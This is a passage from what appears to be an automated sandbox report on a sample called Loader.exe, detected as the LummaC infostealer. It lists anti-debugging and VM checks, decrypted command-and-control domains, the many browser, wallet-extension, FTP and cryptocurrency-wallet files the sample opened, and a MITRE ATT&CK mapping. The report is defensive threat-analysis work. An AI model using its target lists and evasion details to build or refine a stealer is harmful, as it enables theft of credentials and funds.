Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: Loader.exe, 00000001.00000003.2589339784.0000000003763000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Loader.exe, 00000001.00000002.2712486611.000000000140C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWD
Source: Loader.exe, 00000001.00000003.2589472932.00000000036F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_0043C330 LdrInitializeThunk,

1_2_0043C330

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_011C47BC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_011C47BC

Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00AFEB50 mov eax, dword ptr fs:[00000030h]		1_2_00AFEB50
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_00AFF790 mov eax, dword ptr fs:[00000030h]		1_2_00AFF790

Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011C4330 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_011C4330
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011C47BC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_011C47BC
Source: C:\Users\user\Desktop\Loader.exe	Code function: 1_2_011C8BE4 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_011C8BE4

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: Loader.exe, 00000001.00000002.2711429352.0000000000AB0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: debonairnukk.xyz
Source: Loader.exe, 00000001.00000002.2711429352.0000000000AB0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: diffuculttan.xyz
Source: Loader.exe, 00000001.00000002.2711429352.0000000000AB0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: effecterectz.xyz
Source: Loader.exe, 00000001.00000002.2711429352.0000000000AB0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: deafeninggeh.biz
Source: Loader.exe, 00000001.00000002.2711429352.0000000000AB0000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: immureprech.biz

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 1_2_011C46A3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_011C46A3

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Loader.exe, 00000001.00000003.2660783647.000000000147E000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000003.2660737993.0000000001475000.00000004.00000020.00020000.00000000.sdmp, Loader.exe, 00000001.00000002.2712486611.00000000013D0000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Directory queried: C:\Users\user\Documents\TTCBKWZYOC	Jump to behavior

Source: Yara match

File source: Process Memory Space: Loader.exe PID: 6448, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
